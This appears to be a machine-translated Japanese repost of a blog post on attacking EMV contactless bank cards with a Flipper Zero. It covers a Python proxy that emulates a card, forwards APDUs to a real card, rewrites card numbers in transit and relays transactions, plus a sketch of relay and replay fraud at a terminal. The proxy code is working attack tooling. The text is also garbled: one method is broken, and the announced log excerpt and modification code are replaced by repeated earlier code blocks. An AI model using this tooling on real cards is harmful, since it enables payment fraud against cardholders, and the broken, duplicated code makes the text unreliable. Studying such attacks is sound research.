ホームページ >バックエンド開発 >Python チュートリアル >Flipper Zero NFC ハッキング - EMV バンキング、中間者攻撃、リレー攻撃

Flipper Zero NFC ハッキング - EMV バンキング、中間者攻撃、リレー攻撃

Linda Hamilton
Linda Hamiltonオリジナル
2024-12-23 06:32:48156ブラウズ

前回の投稿では、Flipper が NFC 非接触型カード リーダーと NFC カード エミュレーターの両方としてどのように機能するかを検討しました。これら 2 つの機能を組み合わせると、カード リーダーのトランザクションに対するさまざまな潜在的な攻撃シナリオが明らかになります。

  • 通信を傍受することは可能ですか?、つまり 2 つのデバイス間で交換されるデータを変更せずに傍受して監視することを意味します
  • 中間者 (MitM) 攻撃は実行できますか? 具体的には、カードとリーダー間の通信を傍受して変更し、リアルタイムでデータを挿入または変更することができますか?
  • 私のカードはリレー攻撃に対して脆弱ですか? カードの近くに位置する 1 人の攻撃者がカードと通信し、リーダーの近くにいる共犯者にコマンド/応答を中継し、あたかもリーダーをだましてトランザクションを処理させます。カードは存在していました。これにより、カードが端末にまったく近づいていない場合でも、不正な取引が可能になります。

この投稿では、これら 3 つの質問について詳しく説明します。

1- 何を達成したいですか?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

上の図 (ここで高品質で入手可能) は、前述のさまざまな攻撃をテストするために確立することを目的としたセットアップを示しています。

  1. 銀行カードからデータを読み取るためのアプリケーションを備えた 電話 があります。
  2. 電話機は、カード エミュレーション モードで動作する Flipper Zero と通信します。
  3. Flipper Zero は PC に接続されており、受信したコマンドを接続されている PC/SC リーダー に転送します。
  4. PC/SC リーダーはコマンドを 実際の銀行カード に送信します。
  5. 実際のカードはコマンドを処理して応答し、応答は PC/SC リーダー、PC、最後に電話を経由して同じように戻ります。
  6. その間、PC 上で実行されている Python スクリプト がこれらのコマンドと応答をインターセプトし、データが通過するときにリアルタイムで変更できるようにします。

以前は、すべてのデータ処理ロジックを Flipper の外部で実行される Python スクリプトにオフロードしていました。このアプローチにより、変更を加えるたびに新しいファームウェアを更新またはアップロードする必要がなくなります。ただし、次のような疑問が生じます。この Python プロキシにより、通信が中断され、失敗する可能性のある遅延が発生するのでしょうか?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

この質問に答える前に、この構成のセットアップに使用する Python スクリプトを見てみましょう。

2 - Python スクリプトの準備

前回のブログ投稿では、このセットアップの 2 つの主要コンポーネントについて説明しました。

  • Flipper Zero を使用してカードをエミュレートします。
  • PC/SC リーダーを使用してカードと通信します。

あとは、この 2 つを結び付けるだけです。いったい何のことを言っているのでしょうか?

  • フリッパーがフィールドを検出すると、リーダーはカードの電源を入れる必要があります。
  • 逆に、フリッパーがフィールドがオフになったことを検出すると、リーダーはカードへの電源を切断する必要があります。
  • フリッパーは TPDU 通信の管理を担当します。これは、PC/SC リーダーが TPDU レベルのコマンドのみを処理するためです。
    • フリッパーは完全な APDU を受信すると、それをリーダーに送信します。
    • リーダーはコマンドを実際のカードに転送し、カードの応答をフリッパーに中継します。
    • フリッパーはこの応答を処理し、TPDU 形式で送信します。

リーダーに対するこれらの要件により、以下で説明する抽象 Reader クラスが作成されました。さらに、読者との接続を確立する方法も導入しました。

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

次に、PC/SC リーダーと対話するために、以下の最小限の PCSCReader クラスを作成します。

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

ここで、以下に示すように、エミュと呼ばれるカード エミュレーターの実装に進むことができます。オプションの Reader オブジェクトをパラメータとして受け入れます。指定すると、リーダーとの接続が確立されます。

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

次に、イベントをリーダーに伝えるための 3 つのメソッド (フィールドをオフにする、フィールドをオンにする、APDU を送信する) を定義します。

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)

次に、カード エミュレータのコマンド通信を TPDU レベルで管理するメソッドを改善しました。特に、完全な APDU コマンドが受信されると、 process_apdu メソッドが呼び出されて、それをリーダーに転送し、実際のカードから応答を取得します。

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)

最後に、Flipper Zero からカード エミュレーションを開始するために使用されるメソッドを実装します。

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()

Python スクリプトの準備ができました。次に、テストに使用するハードウェア設定を見てみましょう。

3 - 実験はガレージで行われました

以下は、攻撃環境の小さな複製です。左から右へ:

  • NFC バンキング カードを読み取るためのアプリケーションを実行している Android スマートフォン。私たちの場合、それは NFC-EMV-Reader (GitHub - NFC-EMV-Reader で入手可能) です。やや時代遅れではありますが、デモンストレーションの目的には完璧に機能します。このデバイスは、NFC カードと通信しようとする端末をシミュレートします。他のデバイスには接続されていません。
  • Flipper Zero、NFC カード エミュレーターとして機能します。コンピューターに接続されています (画像では見えません)。
  • PC/SC リーダーもコンピューターに接続されています。
  • 実際の NFC バンキング カード。この設定で対象となる実際のカードを表します。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

完璧です。攻撃を実行するために必要なコンポーネントがすべて揃いました!戦いましょう!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

4 - 通信盗聴

最初にスニッフィングを試みることができます。これは、フリッパーからの APDU コマンド/応答が変更されずにカードに転送されることを意味します。

これは完全に機能し、安定したままであり、仲介者として機能する Python コードには目立った影響はありません。 Python プロキシによってレイテンシーが増加しすぎて、ターミナルがカードが遅すぎるというメッセージを出し始めた場合は、それを修正することができます。 (まだ) 実装に至っていないもの:

  • これは、Wait-Time Extension (WTX) と呼ばれる TPDU コマンドです。
  • カードは、暗号化などのリソースを大量に消費する操作を実行するために余分な時間が必要な場合に、このコマンドを送信します。
  • リーダーはこれをカードがまだ処理中であるという信号として解釈し、端末は確認応答で応答します。
  • 理論上、カードは必要なだけ WTX コマンドを送信できます。

以下はログの抜粋です。

  • カードの電源がオンになっています (フィールドオフ/フィールドオン)
  • 端末は、APDU SELECT コマンド 00a4040007d276000085010100 を使用してカード アプリケーションを選択しようとします。ここで、アプリケーション識別子 (通称 AID) は d2760000850101 です。 EFTLab の包括的な AID データベースでカード AID のリストを確認すると、この AID が NXP チップに実装されたドイツの NDEF タグ アプリケーション に対応していることがわかりました。
  • このアプリケーションはカード上に存在しないため、カードは 2 バイトのステータス ワード 6A82 で応答し、要求されたアプリケーションを認識できないことを示します。
class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

実際、カードには何百もの異なるアプリケーションをインストールでき、それぞれに独自の AID が付いています。端末は、それらすべてを 1 つずつ試行しようとはしません。このため、非接触型バンキング領域では、カード上で利用可能なバンキング アプリケーションを示すように設計された特定のアプリケーションがすべてのカードに存在します。その AID は 325041592e5359532e4444463031 で、ASCII に変換すると 2PAY.SYS.DDF01 となります。

通信の後半で、このアプリケーションが呼び出されていることがわかります (以下に示すように)。したがって、前述したように、AID D2760000850101 のアプリケーションが以前に選択されたことは異常であると思われます。

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

応答を解析すると、(他の詳細とともに) MasterCard に対応する AID A0000000041010 を持つアプリケーションの存在が示されていることがわかります。

したがって、電話機は最終的にこのアプリケーションを選択します。

その後、プライマリ口座番号 (PAN) を含むさまざまな詳細情報をカードから取得します。カードに表示された番号は端末に表示された番号と一致し、単純なスニッフィングに依存するリレー攻撃が成功したことが確認されました。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

もちろん、Proxmark のようなツールを使用すると、スニッフィングがはるかに簡単になりますが、複雑にできるのに、なぜ単純にする必要があるのでしょうか ;) ?

5 - 中間者

さて、中間者攻撃に移りましょう。これは、コミュニケーションをただ聞くだけではなく、積極的に変更することを意味します。興味深い使用例の 1 つは、カード番号を変更することです (たとえば、5132 を 6132 に変更するなど)。

以前の通信のログを参照すると、これらのデータは平文で送信されていることがわかります。これらは、00B2010C00 や 00B2011400 などの READ RECORD コマンドを使用してカードから取得されます。

データは暗号化されておらず、整合性保護がないため、必要に応じて変更できます。これを実装するには、変更を処理するために PCSCReader クラスの process_apdu メソッドを更新するだけです。

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

そして、下の画像に示すように、アプリケーションは変更をまったく認識しません!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

なぜ効果があるのでしょうか?答えは、さまざまな通信層を説明する以下の画像にあります:

  • 一番下では、基礎となるテクノロジーである ISO-14443 が物理層の通信を処理します。 フリッパー ゼロは、この仕様に従ってデータを交換します。
  • 次に、TPDU があります。データは TPDU で交換され、整合性のためにのみパブリック CRC によって保護されます。 最後に、カード アプリケーションからのコマンドと応答で構成される APDU 層があります。可能な保護レベルは 3 つあります。
    1. 保護なし: コマンドと応答には、完全性や機密性の保護手段がありません。私たちの設定ではこれが当てはまり、通信の変更が非常に簡単になります。
    2. 部分暗号化: コマンドまたは応答のいずれかが部分的に暗号化されます。これは一部の NFC バンキング コマンドで見られ、通信の信頼性を検証するために暗号文が含まれています。
    3. 完全暗号化: コマンドと応答の両方が完全に暗号化され、完全な保護が提供されます。ただし、これは EMV カードには実装されていません。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

私たちも楽しむことができます... 急いで修正したため、データをランダムに変更することがあります。ある例では、下の画像に示すように、カード番号は 16 桁に制限されているはずにもかかわらず、アプリケーションに大量の文字ブロックが表示されてしまいました。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

これにより、ファジング実験の興味深い可能性が開かれます。

6 - リレーアタック

このブログ投稿の冒頭で述べたように、リレー攻撃は、二者間の通信 (例: NFC カードと端末) を変更せずに傍受して中継し、端末をだまして正規のカードと通信していると信じ込ませることで構成されます。リアルタイムのカード。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

ハッカーがターミナルで支払いをしようとしています。彼は端末の通信を被害者の近くにいる共犯者に中継し、共犯者は知らないうちに被害者のカードと通信します。

前の実験では、この攻撃がガレージのような管理された環境で実行可能であることが実証されました。ただし、現実のシナリオでは、考慮すべき追加の課題があります。

  • 近接必須: 攻撃者はカードの近くに留まらなければなりません。つまり、新型コロナウイルス感染症の発生中は、社会的距離を保っていたので、明らかに非常に便利でした。
  • POS の共犯者: ターミナルの近くに 2 人目の人が必要です。
  • 低遅延 & 信頼性の高い通信: 信号中継の遅延は障害につながる可能性があり、成功には信頼性の高い通信が不可欠です。これらの課題に対処するには、別の種類の攻撃、リプレイ攻撃を使用できます。
    • 攻撃者は被害者のものと通信します。 カードを正規の端末であるかのように操作し、カードの応答を記録します。
    • その後、攻撃者は記録された応答を端末に再生します。
    • 端末のコマンドでランダム データを使用するとリプレイ攻撃を防ぐことができますが、ランダム性は見た目よりも堅牢ではない場合があります。ただし、この脆弱性の調査はこのブログの範囲を超えています。

リレー攻撃に対する主な対策の 1 つは、リレーによって顕著な遅延が発生するため、通信のタイミングを測定することです。ただし、古い EMV プロトコルには、このようなタイミング チェックを容易にするコマンドが含まれていません。

結論

このブログ投稿は終わりに達しました。内容をお楽しみいただければ幸いです! Python コードと修正された Flipper Zero ファームウェアは、私の GitHub から入手できます。

https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware

以上がFlipper Zero NFC ハッキング - EMV バンキング、中間者攻撃、リレー攻撃の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。